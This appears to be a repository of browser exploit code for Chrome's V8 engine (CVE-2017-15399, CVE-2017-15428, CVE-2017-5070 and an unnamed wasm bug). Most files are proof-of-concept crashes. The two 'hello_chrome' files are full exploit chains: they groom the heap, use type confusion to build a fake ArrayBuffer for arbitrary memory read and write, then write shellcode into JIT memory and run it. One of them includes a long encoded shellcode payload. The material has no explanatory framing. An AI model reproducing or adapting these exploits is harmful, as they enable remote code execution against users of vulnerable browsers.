├── CVE-2017-15399
    ├── hello_chrome_3.html
    └── poc.html
├── CVE-2017-15428
    └── replace_csa.html
├── CVE-2017-5070
    ├── 5070_poc.js
    └── hello_chrome.html
├── CVE-2017-XXXX
    └── wasm_init.html
└── README.md


/CVE-2017-15399/hello_chrome_3.html:
--------------------------------------------------------------------------------
  1 | <script>
  2 | 
  3 | /* 
  4 | 
  5 | */
  6 | 
  7 | try{
  8 | var arr_arr = [];
  9 | arr_arr.length = 0x500;
 10 | 
 11 | var array = [1.1];
 12 | array.length = 0x10000;
 13 | array.fill(2.2);
 14 | 
 15 | var obj_arr = [{}];
 16 | obj_arr.length = 0x20000;
 17 | obj_arr.fill(0x2345678);
 18 | 
 19 | var nop = 0xdaba0000;
 20 | var ab_map_obj = [
 21 | 	nop,
 22 | 	0x0d00000a,0x000900c4,0x082003ff,
 23 | 	nop,  // point to __proto__ (null_obj)
 24 | 	nop,nop,nop,nop,nop,nop
 25 | ]
 26 | 
 27 | var fake_ab = [
 28 | 	nop,   //point to ab_map_obj
 29 | 	nop,
 30 | 	nop,
 31 | 	0x1000, /* buffer length */
 32 | 	0x12345678,0x12345678, /* buffer adderss */
 33 | 	0x800,0x4,0x0,0x0
 34 | ]
 35 | 
 36 | 
 37 | function gc(){
 38 | 	for(var i = 0;i <((1024*1024)/16);i++){
 39 | 		var a = new String();
 40 | 	}
 41 | }
 42 | 
 43 | function d2u(high,low){
 44 | 	d = new Uint32Array(2);
 45 | 	d[0] = low;
 46 | 	d[1] = high;
 47 | 	f = new Float64Array(d.buffer);
 48 | 	return f[0];
 49 | }
 50 | function u2d(num){
 51 | 	f = new Float64Array(1);
 52 | 	f[0] = num;
 53 | 	d = new Uint32Array(f.buffer);
 54 | 	return d;
 55 | }
 56 | 
 57 | function heap_feng_shui(){
 58 | 	for(var i = 0;i < arr_arr.length;i++){
 59 | 		arr_arr[i] = array.slice(0,array.length);
 60 | 	}
 61 | }
 62 | 
 63 | function module(stdlib,foreign,buffer){
 64 | 	"use asm";
 65 | 	var fl = new stdlib.Uint32Array(buffer);
 66 | 	function f1(x){
 67 | 		x = x | 0;
 68 | 		fl[0] = x;
 69 | 		//fl[0x10000] = x;
 70 | 		//fl[0x100000] = x;
 71 | 		fl[0x20041] = x;
 72 | 		fl[0x20042] = x;
 73 | 		fl[0x20043] = x;
 74 | 		fl[0x40041] = x;
 75 | 		fl[0x40042] = x;
 76 | 		fl[0x40043] = x;
 77 | 	}
 78 | 	return f1;
 79 | }
 80 | 
 81 | var global = {Uint32Array:Uint32Array};
 82 | var env = {};
 83 | memory = new WebAssembly.Memory({initial:200});
 84 | var buffer = memory.buffer;
 85 | evil_f = module(global,env,buffer);
 86 | 
 87 | zz = {};
 88 | zz.toString = function(){
 89 | 	
 90 | 	
 91 | 	heap_feng_shui();
 92 | 	//alert(1);
 93 | 	Array.prototype.slice.call([]);
 94 | 	return 0xffffffff;
 95 | }
 96 | evil_f(3);
 97 | memory.grow(1);
 98 | evil_f(zz);
 99 | 
100 | /******** find the big array *******************/
101 | var big_array = null;
102 | for(var j = 0;j < arr_arr.length;j++){
103 | 	var temp = arr_arr[j];
104 | 	//alert(temp[0]);
105 | 	if(temp[0] !== 2.2){
106 | 		//dafd;
107 | 		//alert(j);
108 | 		big_array = arr_arr[j];
109 | 	}
110 | }
111 | if(big_array != null){
112 | 	big_array.length = 0x23ffffff;
113 | 	if(big_array[0x20000] == 2.2){
114 | 		big_array[0x20000] = 0xdaba0;
115 | 	}
116 | 	else{
117 | 		alert("find next array fail!");
118 | 	}
119 | 	//alert(big_array.length);
120 | 	//var read_test = big_array[0x22567890];
121 | }
122 | else{
123 | 	alert("find big array fail!");
124 | }
125 | 
126 | var next_array_to_free = null;
127 | for(var j = 0;j < arr_arr.length;j++){
128 | 	var temp = arr_arr[j];
129 | 	//alert(temp[0]);
130 | 	if(temp[0] == 0xdaba0){
131 | 		next_array_to_free = j;
132 | 		break;
133 | 	}
134 | }
135 | 
136 | 
137 | /*********** Find the element address,and make a obj array,make a type confusion **********/
138 | 
139 | var big_array_element_addr = -1;
140 | 
141 | big_array_element_addr = (u2d(big_array[0x1f7e0]))[0] + 8 - 0x20000 * 8;
142 | 
143 | 
144 | 
145 | //for(var j = 0;j < arr_arr.length;j++){
146 | //	arr_arr[j] = null;
147 | //}
148 | arr_arr[next_array_to_free] = null;
149 | //arr_arr = null;
150 | gc();
151 | arr_arr.length = 0x300;
152 | for(var j = 0;j < arr_arr.length;j++){
153 | 	arr_arr[j] = obj_arr.slice(0,obj_arr.length);
154 | }
155 | //alert("allocate success");
156 | big_array[0x40000] = d2u(0xdaba0 << 1,0xdaba0 << 1);
157 | //alert("write success");
158 | var next_obj_array = null;
159 | for(var j = 0;j < arr_arr.length;j++){
160 | 	var temp = arr_arr[j];
161 | 	if(temp[0] == 0xdaba0){
162 | 		//alert("find success");
163 | 		next_obj_array = arr_arr[j];
164 | 		break;
165 | 	}
166 | }
167 | 
168 | /*********** Okay,Type Confusion Time!!! **********/
169 | if(next_obj_array == null){
170 | 	alert("find next obj array fail!");
171 | 	dafd;
172 | }
173 | var ab = new ArrayBuffer(0x100);
174 | next_obj_array[0] = ab.__proto__;
175 | 
176 | var ab_proto__addr = u2d(big_array[0x40000])[0];
177 | //alert(ab_proto__addr.toString(16));
178 | 
179 | /*********** Fake a Object now **********/
180 | fake_ab[0] = big_array_element_addr + 0x100 + 0x1;
181 | fake_ab[1] = big_array_element_addr + 0x100 + 0x1;
182 | fake_ab[2] = big_array_element_addr + 0x100 + 0x1;
183 | ab_map_obj[0] = ab_proto__addr;
184 | ab_map_obj[4] = ab_proto__addr;
185 | ab_map_obj[5] = ab_proto__addr - 0xe4;
186 | 
187 | var zzz = 0;
188 | for(var zz = 0;zz < fake_ab.length; zz=zz+2){
189 | 	var float_num = d2u(fake_ab[zz+1],fake_ab[zz]);
190 | 	big_array[zzz] = float_num;
191 | 	zzz++;
192 | }
193 | 
194 | zzz = 0;
195 | for(var zz = 0;zz < ab_map_obj.length; zz=zz+2){
196 | 	var float_num = d2u(ab_map_obj[zz+1],ab_map_obj[zz]);
197 | 	big_array[zzz+0x100/8] = float_num;
198 | 	zzz++;
199 | }
200 | 
201 | big_array[0x40002] = d2u(big_array_element_addr+1);
202 | 
203 | 
204 | 
205 | 
206 | var fake_ab = next_obj_array[5];
207 | 
208 | //alert("before hahahah");
209 | 
210 | //fake_dv = new DataView(fake_ab,0,0x10);
211 | 
212 | if(fake_ab instanceof ArrayBuffer == true){
213 | 	//alert("hahahah");
214 | }
215 | 
216 | fake_dv = new DataView(fake_ab,0,0x600);
217 | 
218 | /******************************* Read a Function Address   ***************************************/
219 | 
220 | var func_body = "eval('');";
221 | 	/*for(var i=0;i < 0x1000;i++){
222 | 		func_body += "a[" + i.toString() + "];";
223 | 	}*/
224 | var function_to_shellcode = new Function("a",func_body);
225 | 
226 | next_obj_array[0] = function_to_shellcode;
227 | 
228 | function_to_shellcode();
229 | 
230 | var shellcode_address_ref = u2d(big_array[0x40000])[0];
231 | //alert(shellcode_address_ref.toString(16));
232 | var jit_address = shellcode_address_ref + 0x1c;
233 | //alert(jit_address.toString(16));
234 | 	
235 | /**************************************  And now,we get arbitrary memory read write!!!!!!   ******************************************/
236 | 	
237 | function Read32(addr){
238 | 	big_array[2] = d2u(addr,addr);
239 | 	return fake_dv.getUint32(0,true);
240 | }
241 | function Write32(addr,value){
242 | 	big_array[2] = d2u(addr,addr);
243 | 	//fake_dv = new DataView(fake_arraybuffer,0,0x4000);
244 | 	//alert(fake_ab_float[4]);
245 | 	alert("write");		
246 | 	fake_dv.setUint32(0,value,true);
247 | 	//fake_dv[0] = value;
248 | }
249 | 
250 | //alert((big_array_element_addr).toString(16));
251 | jit_address = Read32(jit_address-1)-1+0x40;
252 | 
253 | //alert(jit_address.toString(16));
254 | 
255 | var shellcode = [0x9040ec83, 0x74d9dfdb, 0x2958f424, 0x37e8bec9, 0x32b1e38a, 0x31fce883, 0x98031370, 0xa4166824, 0x54d9e5a3, 0xb1509634, 0xb2078405, 0x96431834, 0x0201d3b4, 0x258d914e, 0x08e81ce7, 0xc63490f8, 0x14c8b23a, 0xd7f0146f, 0x05355562, 0x42ee078c, 0x169bb83f, 0x1d4bb9fc, 0xe1eec1bc, 0x31f07849, 0xa9baf7e1, 0xc81b5089, 0x8367835e, 0x121370eb, 0x25dc493a, 0x8ae30602, 0x2c23568f, 0x4f5f2d70, 0x32a4360d, 0x9439b3c9, 0x259a649a, 0x2969f24e, 0x2d35703b, 0x494d55ba, 0xd8825837, 0x81067f03, 0x6f1f1ed0, 0xd77f1fb6, 0xf50bba67, 0x9351bc7c, 0xdaec4c83, 0x4cef4e84, 0x03647fed, 0x60af806a, 0xc0f2ca84, 0x5166930d, 0x955d2450, 0x6554a76d, 0x601cb78a, 0x18cc7fd6, 0x8ff2ea47, 0x4e913f68, 0x4156a3fb]
256 | 
257 | big_array[2] = d2u(jit_address,jit_address);
258 | 
259 | for(var i=0; i<shellcode.length; i++){
260 | 	var value = shellcode[i];		
261 | 	fake_dv.setUint32(i * 4,value,true);
262 | }
263 | 
264 | //alert("go to shellcode plz,chrome");
265 | function_to_shellcode();
266 | 
267 | alert("finish");
268 | 
269 | }catch(e){
270 | 	alert(e);
271 | }
272 | 
273 | </script>


--------------------------------------------------------------------------------
/CVE-2017-15399/poc.html:
--------------------------------------------------------------------------------
 1 | <script>
 2 | /**
 3 | 
 4 | ***/
 5 | 
 6 | function module(stdlib,foreign,buffer){
 7 | 	"use asm";
 8 | 	var fl = new stdlib.Uint32Array(buffer);
 9 | 	function f1(x){
10 | 		x = x | 0;
11 | 		fl[0] = x;
12 | 		fl[0x10000] = x;
13 | 		fl[0x100000] = x;
14 | 	}
15 | 	return f1;
16 | }
17 | 
18 | var global = {Uint32Array:Uint32Array};
19 | var env = {};
20 | memory = new WebAssembly.Memory({initial:200});
21 | var buffer = memory.buffer;
22 | evil_f = module(global,env,buffer);
23 | 
24 | zz = {};
25 | zz.toString = function(){
26 | 	alert(1);
27 | 	Array.prototype.slice.call([]);
28 | 	return 0xffffffff;
29 | }
30 | evil_f(3);
31 | memory.grow(1);
32 | evil_f(zz);
33 | </script>


--------------------------------------------------------------------------------
/CVE-2017-15428/replace_csa.html:
--------------------------------------------------------------------------------
 1 | <script>
 2 | function tt(){
 3 | var evil_o = {};
 4 | var reg = /abc/y;
 5 | var num = {};
 6 | num.toString = function(){
 7 | 	change_to_dict();
 8 | 	return 0x0;
 9 | }
10 | 
11 | 
12 | function change_to_dict(){
13 | 	for(var i = 0;i < 0x100;i++){
14 | 		reg["a"+i.toString(16)] = i;
15 | 	}
16 | }
17 | evil_o.toString = function(){
18 | 	//change_to_dict();
19 | 	reg.lastIndex = num;
20 | 	return "abc".repeat(0x1000);
21 | }
22 | 
23 | String.prototype.replace.call(evil_o,reg,function(){});
24 | }
25 | alert(22);
26 | for(var i = 0;i < 0x1000;i++){
27 | 	tt();
28 | }
29 | 
30 | alert("1");
31 | </script>


--------------------------------------------------------------------------------
/CVE-2017-5070/5070_poc.js:
--------------------------------------------------------------------------------
 1 | z2 = [1.1,2.2];
 2 | z3 = [1,{}];
 3 | var arr_arr = [z2,z3];
 4 | var obj = {};
 5 | function f(){
 6 | 
 7 | 	for(var i = 0;i < arr_arr.length;i++){
 8 | 		var temp = arr_arr[i];
 9 | 		temp[1] = 1.1;
10 | 	}
11 | }
12 | 
13 | for(var i = 0;i < 0x10000;i++){
14 | 	f();
15 | }
16 | 
17 | var evil = [1.1,2.2];
18 | 
19 | function oo(){
20 | 	//z2[0] = 2.2;
21 | 	evil[0] = 1.1;
22 | 	f();
23 | 	evil[1] = 6.176516726456e-312;
24 | 	//return evil[1];
25 | }
26 | 
27 | for(var i = 0;i < 0x10000;i++){
28 | 	oo();
29 | }
30 | //evil.slice();
31 | 
32 | 
33 | //var now = Date.now();
34 | //while(Date.now() - now < 500){};  //wait for the JIT complete
35 | 
36 | arr_arr[0] = evil;
37 | re = oo();
38 | 
39 | print(evil[1]);
40 | 
41 | 
42 | /*
43 | z2 = [1.1,2.2];
44 | z3 = [1,{}];
45 | var arr_arr = [z3,z2];
46 | var obj = {};
47 | function f(){
48 | 
49 | 	for(var i = 0;i < arr_arr.length;i++){
50 | 		var temp = arr_arr[i];
51 | 		temp[1] = obj;  //leak any object address here;
52 | 	}
53 | }
54 | 
55 | for(var i = 0;i < 0x10000;i++){
56 | 	f();
57 | }
58 | 
59 | var evil = [1.1,2.2];
60 | 
61 | function oo(){
62 | 	//z2[0] = 2.2;
63 | 	evil[0] = 1.1;
64 | 	f();
65 | 	//evil[1] = 6.176516726456e-312;
66 | 	return evil[1];
67 | }
68 | 
69 | for(var i = 0;i < 0x10000;i++){
70 | 	oo();
71 | }
72 | //evil.slice();
73 | 
74 | 
75 | //var now = Date.now();
76 | //while(Date.now() - now < 500){};  //wait for the JIT complete
77 | 
78 | arr_arr[0] = evil;
79 | re = oo();
80 | 
81 | print(re);
82 | */


--------------------------------------------------------------------------------
/CVE-2017-5070/hello_chrome.html:
--------------------------------------------------------------------------------
  1 | <script>
  2 | 	/* 
  3 | 	*/
  4 | 	var shellcode = [0xcccccccc,0x90909090];
  5 | 	var ab = new ArrayBuffer(0x20);
  6 | 	//test_obj = ut32.__proto__;
  7 | 	flag = 0;
  8 | 	function gc(){
  9 | 		for(var i=0;i<0x100000/0x10;i++){
 10 | 			new String;
 11 | 		}
 12 | 	}
 13 | 	function d2u(num1,num2){
 14 | 		d = new Uint32Array(2);
 15 | 		d[0] = num2;
 16 | 		d[1] = num1;
 17 | 		f = new Float64Array(d.buffer);
 18 | 		return f[0];
 19 | 	}
 20 | 	function u2d(num){
 21 | 		f = new Float64Array(1);
 22 | 		f[0] = num;
 23 | 		d = new Uint32Array(f.buffer);
 24 | 		return d[1] * 0x100000000 + d[0];
 25 | 	}
 26 | 	function change_to_float(intarr,floatarr){
 27 | 		var j = 0;
 28 | 		for(var i = 0;i < intarr.length;i = i+2){
 29 | 			var re = d2u(intarr[i+1],intarr[i]);
 30 | 			floatarr[j] = re;
 31 | 			j++;
 32 | 		}
 33 | 	}
 34 | 	
 35 | 
 36 | 	
 37 | 	
 38 | 	var smi_arr = [1];
 39 | 	smi_arr.evil = 1;
 40 | 	
 41 | 	var double_arr = [1.1,2.2];
 42 | 	double_arr.evil = 1;
 43 | 	
 44 | 	var obj_arr = [{}];
 45 | 	obj_arr.evil = 1;
 46 | 	
 47 | 	var array = [smi_arr,double_arr,obj_arr];
 48 | 	
 49 | 	var double_arr_2 = [1.1,2.2];
 50 | 	double_arr_2.evil = 1;
 51 | 	
 52 | 	var vauleOf = {};
 53 | 	valueOf.valueOf = function(){
 54 | 		if(flag == 1){
 55 | 			array[0x1] = double_arr_2;
 56 | 			
 57 | 		}
 58 | 		return 1;
 59 | 	};
 60 | 	function read_obj_addr(object){
 61 | 		function carry_me_plz(arr,obj){
 62 | 			for(var i = 0;i < arr.length;i++){
 63 | 				var o = arr[i];
 64 | 				o[0] = obj;
 65 | 			}
 66 | 		}
 67 | 		function sorry(){
 68 | 			1 + valueOf;
 69 | 			double_arr_2[0] = 1.1;
 70 | 			carry_me_plz(array,object);
 71 | 			return double_arr_2[0];
 72 | 		}
 73 | 		for(var i = 0;i < 0x10000;i++){
 74 | 			carry_me_plz(array,object);
 75 | 		}
 76 | 		for(var i = 0;i < 0x10000;i++){
 77 | 			sorry();
 78 | 		}
 79 | 		flag = 1;
 80 | 		re = u2d(sorry());
 81 | 		return re;
 82 | 	}
 83 | 	
 84 | 	//alert(addr);
 85 | 	var nop = 0xdaba0000;
 86 | 	var ab_map_obj = [
 87 | 		nop,nop,
 88 | 		0x1f000008,0x000900c0,0x082003ff,0x0,
 89 | 		nop,nop,   // use ut32.prototype replace it
 90 | 		nop,nop,0x0,0x0
 91 | 	]
 92 | 	ab_proto_addr = read_obj_addr(ab.__proto__);
 93 | 	ab_constructor_addr = ab_proto_addr - 0x70;
 94 | 	//alert(ab_proto_addr.toString(16));
 95 | 	ab_map_obj[0x6] = ab_proto_addr & 0xffffffff;
 96 | 	ab_map_obj[0x7] = ab_proto_addr / 0x100000000;
 97 | 	ab_map_obj[0x8] = ab_constructor_addr & 0xffffffff;
 98 | 	ab_map_obj[0x9] = ab_constructor_addr / 0x100000000;
 99 | 	float_arr = [];
100 | 	/*for(var i = 0;i < 0x100;i++){
101 | 		float_arr[i] = [1.1,1.1,1.1,1.1,1.1,1.1];
102 | 	}*/
103 | 	gc();
104 | 	var ab_map_obj_float = [1.1,1.1,1.1,1.1,1.1,1.1];
105 | 	change_to_float(ab_map_obj,ab_map_obj_float);
106 | 	
107 | 	//alert(u2d(ut32_map_obj_float[0x3]).toString(16));
108 | 	
109 | 	flag = 0;
110 | 	var smi_arr2 = [1];
111 | 	smi_arr2.evil = 1;
112 | 	
113 | 	var double_arr2 = [1.1,2.2];
114 | 	double_arr2.evil = 1;
115 | 	
116 | 	var obj_arr2 = [{}];
117 | 	obj_arr2.evil = 1;
118 | 	
119 | 	var array2 = [smi_arr2,double_arr2,obj_arr2];
120 | 	
121 | 	var double_arr22 = [1.1,2.33];
122 | 	double_arr22.evil = 1;
123 | 	
124 | 	var valueOf2 = {};
125 | 	valueOf2.valueOf = function(){
126 | 		if(flag == 1){
127 | 			array2[0x1] = double_arr22;
128 | 			
129 | 		}
130 | 		return 1;
131 | 	};
132 | 	function read_obj_addr2(object){
133 | 		function carry_me_plz(arr,obj){
134 | 			for(var i = 0;i < arr.length;i++){
135 | 				var o = arr[i];
136 | 				o[0] = obj;
137 | 			}
138 | 		}
139 | 		function sorry(){
140 | 			1 + valueOf2;
141 | 			double_arr22[0] = 1.1;
142 | 			carry_me_plz(array2,object);
143 | 			return double_arr22[0];
144 | 		}
145 | 		for(var i = 0;i < 0x10000;i++){
146 | 			carry_me_plz(array2,object);
147 | 		}
148 | 		for(var i = 0;i < 0x10000;i++){
149 | 			sorry();
150 | 		}
151 | 		flag = 1;
152 | 		re = u2d(sorry());
153 | 		return re;
154 | 	}
155 | 	ab_map_obj_addr = read_obj_addr2(ab_map_obj_float) + 0x40;
156 | 	//alert(ab_map_obj_addr.toString(16));
157 | 	
158 | 	
159 | 	var fake_ab = [
160 | 		ab_map_obj_addr & 0xffffffff, ab_map_obj_addr / 0x100000000,
161 | 		ab_map_obj_addr & 0xffffffff, ab_map_obj_addr / 0x100000000,
162 | 		ab_map_obj_addr & 0xffffffff, ab_map_obj_addr / 0x100000000,
163 | 		0x0,0x4000, /* buffer length */
164 | 		0x12345678,0x123,/* buffer address */
165 | 		0x4,0x0
166 | 	]
167 | 	var fake_ab_float = [1.1,1.1,1.1,1.1,1.1,1.1];
168 | 	change_to_float(fake_ab,fake_ab_float);
169 | 	
170 | 	flag = 0;
171 | 	var smi_arr3 = [1];
172 | 	smi_arr3.evil = 1;
173 | 	
174 | 	var double_arr3 = [1.1,2.2];
175 | 	double_arr3.evil = 1;
176 | 	
177 | 	var obj_arr3 = [{}];
178 | 	obj_arr3.evil = 1;
179 | 	
180 | 	var array3 = [smi_arr3,double_arr3,obj_arr3];
181 | 	
182 | 	var double_arr32 = [1.1,2.33];
183 | 	double_arr32.evil = 1;
184 | 	
185 | 	var valueOf3 = {};
186 | 	valueOf3.valueOf = function(){
187 | 		if(flag == 1){
188 | 			array3[0x1] = double_arr32;
189 | 			
190 | 		}
191 | 		return 1;
192 | 	};
193 | 	function read_obj_addr3(object){
194 | 		function carry_me_plz(arr,obj){
195 | 			for(var i = 0;i < arr.length;i++){
196 | 				var o = arr[i];
197 | 				o[0] = obj;
198 | 			}
199 | 		}
200 | 		function sorry(){
201 | 			1 + valueOf3;
202 | 			double_arr32[0] = 1.1;
203 | 			carry_me_plz(array3,object);
204 | 			return double_arr32[0];
205 | 		}
206 | 		for(var i = 0;i < 0x10000;i++){
207 | 			carry_me_plz(array3,object);
208 | 		}
209 | 		for(var i = 0;i < 0x10000;i++){
210 | 			sorry();
211 | 		}
212 | 		flag = 1;
213 | 		re = u2d(sorry());
214 | 		return re;
215 | 	}
216 | 	fake_ab_float_addr = read_obj_addr3(fake_ab_float) + 0x40;
217 | 	//alert(fake_ab_float_addr.toString(16));
218 | 	
219 | 	
220 | 	
221 | 	flag = 0;
222 | 	var smi_arr4 = [1];
223 | 	smi_arr4.evil = 1;
224 | 	
225 | 	var double_arr4 = [1.1,2.2];
226 | 	double_arr4.evil = 1;
227 | 	
228 | 	var obj_arr4 = [{}];
229 | 	obj_arr4.evil = 1;
230 | 	
231 | 	var array4 = [smi_arr4,double_arr4,obj_arr4];
232 | 	
233 | 	var double_arr42 = [1.1,2.33];
234 | 	double_arr42.evil = 1;
235 | 	
236 | 	var valueOf4 = {};
237 | 	valueOf4.valueOf = function(){
238 | 		if(flag == 1){
239 | 			array4[0x1] = double_arr42;
240 | 			
241 | 		}
242 | 		return 1;
243 | 	};
244 | 	fake_ab_float_addr_f = d2u(fake_ab_float_addr / 0x100000000,fake_ab_float_addr & 0xffffffff).toString();
245 | 	function carry_me_plz_fake(arr){
246 | 		for(var i = 0;i < arr.length;i++){
247 | 			var o = arr[i];
248 | 			ttt = o[0];
249 | 		}
250 | 	}
251 | 	eval('function sorry_fake(){1 + valueOf4;double_arr42[0] = 1.1;carry_me_plz_fake(array4);double_arr42[1] = '+fake_ab_float_addr_f+';}')
252 | 	for(var i = 0;i < 0x1000;i++){
253 | 		carry_me_plz_fake(array3);
254 | 	}
255 | 	for(var i = 0;i < 0x1000;i++){
256 | 		sorry_fake();
257 | 	}
258 | 	flag = 1;
259 | 	sorry_fake();
260 | 	fake_arraybuffer = double_arr42[1];
261 | 	fake_dv = new DataView(fake_arraybuffer,0,0x4000);
262 | 	//Read32(0xdaba0,1);
263 | 	//alert(fake_ab_float[4]);
264 | 	
265 | 	
266 | 	var func_body = "eval('');";
267 | 	/*for(var i=0;i < 0x1000;i++){
268 | 		func_body += "a[" + i.toString() + "];";
269 | 	}*/
270 | 	var function_to_shellcode = new Function("a",func_body);
271 | 	flag = 0;
272 | 	var smi_arr5 = [1];
273 | 	smi_arr5.evil = 1;
274 | 	
275 | 	var double_arr5 = [1.1,2.2];
276 | 	double_arr5.evil = 1;
277 | 	
278 | 	var obj_arr5 = [{}];
279 | 	obj_arr5.evil = 1;
280 | 	
281 | 	var array5 = [smi_arr5,double_arr5,obj_arr5];
282 | 	
283 | 	var double_arr52 = [1.1,2.33];
284 | 	double_arr52.evil = 1;
285 | 	
286 | 	var valueOf5 = {};
287 | 	valueOf5.valueOf = function(){
288 | 		if(flag == 1){
289 | 			array5[0x1] = double_arr52;
290 | 			
291 | 		}
292 | 		return 1;
293 | 	};
294 | 	function read_obj_addr5(object){
295 | 		function carry_me_plz(arr,obj){
296 | 			for(var i = 0;i < arr.length;i++){
297 | 				var o = arr[i];
298 | 				o[0] = obj;
299 | 			}
300 | 		}
301 | 		function sorry(){
302 | 			1 + valueOf5;
303 | 			double_arr52[0] = 1.1;
304 | 			carry_me_plz(array5,object);
305 | 			return double_arr52[0];
306 | 		}
307 | 		for(var i = 0;i < 0x1000;i++){
308 | 			carry_me_plz(array5,object);
309 | 		}
310 | 		for(var i = 0;i < 0x1000;i++){
311 | 			sorry();
312 | 		}
313 | 		flag = 1;
314 | 		re = u2d(sorry());
315 | 		return re;
316 | 	}
317 | 	shellcode_address_ref = read_obj_addr5(function_to_shellcode) + 0x38-1;
318 | 	//alert(shellcode_address_ref.toString(16));
319 | 	
320 | 	/**************************************  And now,we get arbitrary memory read write!!!!!!   ******************************************/
321 | 	
322 | 	function Read32(addr){
323 | 		fake_ab_float[4] = d2u(addr / 0x100000000,addr & 0xffffffff);
324 | 		//fake_dv = new DataView(fake_arraybuffer,0,0x4000);
325 | 		//alert(fake_ab_float[4]);
326 | 		return fake_dv.getUint32(0,true);
327 | 	}
328 | 	function Write32(addr,value){
329 | 		fake_ab_float[4] = d2u(addr / 0x100000000,addr & 0xffffffff);
330 | 		//fake_dv = new DataView(fake_arraybuffer,0,0x4000);
331 | 		//alert(fake_ab_float[4]);
332 | 		alert("write");		
333 | 		fake_dv.setUint32(0,value,true);
334 | 	}
335 | 	//alert(shellcode_address_ref.toString(16));
336 | 	shellcode_address = Read32(shellcode_address_ref) + Read32(shellcode_address_ref+0x4) * 0x100000000;;
337 | 	//shellcode_address = Read32(0xdaba0) + Read32(shellcode_address_ref+0x4) * 0x100000000;
338 | 	//alert(shellcode_address.toString(16));
339 | 	
340 | 	var addr = shellcode_address;
341 | 	
342 | 	fake_ab_float[4] = d2u(addr / 0x100000000,addr & 0xffffffff);
343 | 	for(var i = 0; i < shellcode.length;i++){
344 | 		//alert("write");
345 | 		var value = shellcode[i];		
346 | 		fake_dv.setUint32(i * 4,value,true);
347 | 	}
348 | 	alert("go to shellcode plz,chrome!");
349 | 	function_to_shellcode();
350 | </script>


--------------------------------------------------------------------------------
/CVE-2017-XXXX/wasm_init.html:
--------------------------------------------------------------------------------
   1 | <script>
   2 | // Copyright 2015 the V8 project authors. All rights reserved.
   3 | // Use of this source code is governed by a BSD-style license that can be
   4 | // found in the LICENSE file.
   5 | 
   6 | 
   7 | function bytes() {
   8 |   var buffer = new ArrayBuffer(arguments.length);
   9 |   var view = new Uint8Array(buffer);
  10 |   for (var i = 0; i < arguments.length; i++) {
  11 |     var val = arguments[i];
  12 |     if ((typeof val) == "string") val = val.charCodeAt(0);
  13 |     view[i] = val | 0;
  14 |   }
  15 |   return buffer;
  16 | }
  17 | 
  18 | // V8 internal constants
  19 | var kV8MaxPages = 32767;
  20 | 
  21 | // Header declaration constants
  22 | var kWasmH0 = 0;
  23 | var kWasmH1 = 0x61;
  24 | var kWasmH2 = 0x73;
  25 | var kWasmH3 = 0x6d;
  26 | 
  27 | var kWasmV0 = 0x1;
  28 | var kWasmV1 = 0;
  29 | var kWasmV2 = 0;
  30 | var kWasmV3 = 0;
  31 | 
  32 | var kHeaderSize = 8;
  33 | var kPageSize = 65536;
  34 | var kSpecMaxPages = 65535;
  35 | 
  36 | function bytesWithHeader() {
  37 |   var buffer = new ArrayBuffer(kHeaderSize + arguments.length);
  38 |   var view = new Uint8Array(buffer);
  39 |   view[0] = kWasmH0;
  40 |   view[1] = kWasmH1;
  41 |   view[2] = kWasmH2;
  42 |   view[3] = kWasmH3;
  43 |   view[4] = kWasmV0;
  44 |   view[5] = kWasmV1;
  45 |   view[6] = kWasmV2;
  46 |   view[7] = kWasmV3;
  47 |   for (var i = 0; i < arguments.length; i++) {
  48 |     var val = arguments[i];
  49 |     if ((typeof val) == "string") val = val.charCodeAt(0);
  50 |     view[kHeaderSize + i] = val | 0;
  51 |   }
  52 |   return buffer;
  53 | }
  54 | 
  55 | let kDeclNoLocals = 0;
  56 | 
  57 | // Section declaration constants
  58 | let kUnknownSectionCode = 0;
  59 | let kTypeSectionCode = 1;        // Function signature declarations
  60 | let kImportSectionCode = 2;      // Import declarations
  61 | let kFunctionSectionCode = 3;    // Function declarations
  62 | let kTableSectionCode = 4;       // Indirect function table and other tables
  63 | let kMemorySectionCode = 5;      // Memory attributes
  64 | let kGlobalSectionCode = 6;      // Global declarations
  65 | let kExportSectionCode = 7;      // Exports
  66 | let kStartSectionCode = 8;       // Start function declaration
  67 | let kElementSectionCode = 9;     // Elements section
  68 | let kCodeSectionCode = 10;       // Function code
  69 | let kDataSectionCode = 11;       // Data segments
  70 | let kNameSectionCode = 12;       // Name section (encoded as string)
  71 | let kExceptionSectionCode = 13;  // Exception section (must appear before code section)
  72 | 
  73 | // Name section types
  74 | let kModuleNameCode = 0;
  75 | let kFunctionNamesCode = 1;
  76 | let kLocalNamesCode = 2;
  77 | 
  78 | let kWasmFunctionTypeForm = 0x60;
  79 | let kWasmAnyFunctionTypeForm = 0x70;
  80 | 
  81 | let kResizableMaximumFlag = 1;
  82 | 
  83 | // Function declaration flags
  84 | let kDeclFunctionName   = 0x01;
  85 | let kDeclFunctionImport = 0x02;
  86 | let kDeclFunctionLocals = 0x04;
  87 | let kDeclFunctionExport = 0x08;
  88 | 
  89 | // Local types
  90 | let kWasmStmt = 0x40;
  91 | let kWasmI32 = 0x7f;
  92 | let kWasmI64 = 0x7e;
  93 | let kWasmF32 = 0x7d;
  94 | let kWasmF64 = 0x7c;
  95 | let kWasmS128  = 0x7b;
  96 | 
  97 | let kExternalFunction = 0;
  98 | let kExternalTable = 1;
  99 | let kExternalMemory = 2;
 100 | let kExternalGlobal = 3;
 101 | 
 102 | let kTableZero = 0;
 103 | let kMemoryZero = 0;
 104 | 
 105 | // Useful signatures
 106 | let kSig_i_i = makeSig([kWasmI32], [kWasmI32]);
 107 | let kSig_l_l = makeSig([kWasmI64], [kWasmI64]);
 108 | let kSig_i_l = makeSig([kWasmI64], [kWasmI32]);
 109 | let kSig_i_ii = makeSig([kWasmI32, kWasmI32], [kWasmI32]);
 110 | let kSig_i_iii = makeSig([kWasmI32, kWasmI32, kWasmI32], [kWasmI32]);
 111 | let kSig_d_dd = makeSig([kWasmF64, kWasmF64], [kWasmF64]);
 112 | let kSig_l_ll = makeSig([kWasmI64, kWasmI64], [kWasmI64]);
 113 | let kSig_i_dd = makeSig([kWasmF64, kWasmF64], [kWasmI32]);
 114 | let kSig_v_v = makeSig([], []);
 115 | let kSig_i_v = makeSig([], [kWasmI32]);
 116 | let kSig_l_v = makeSig([], [kWasmI64]);
 117 | let kSig_f_v = makeSig([], [kWasmF64]);
 118 | let kSig_d_v = makeSig([], [kWasmF64]);
 119 | let kSig_v_i = makeSig([kWasmI32], []);
 120 | let kSig_v_ii = makeSig([kWasmI32, kWasmI32], []);
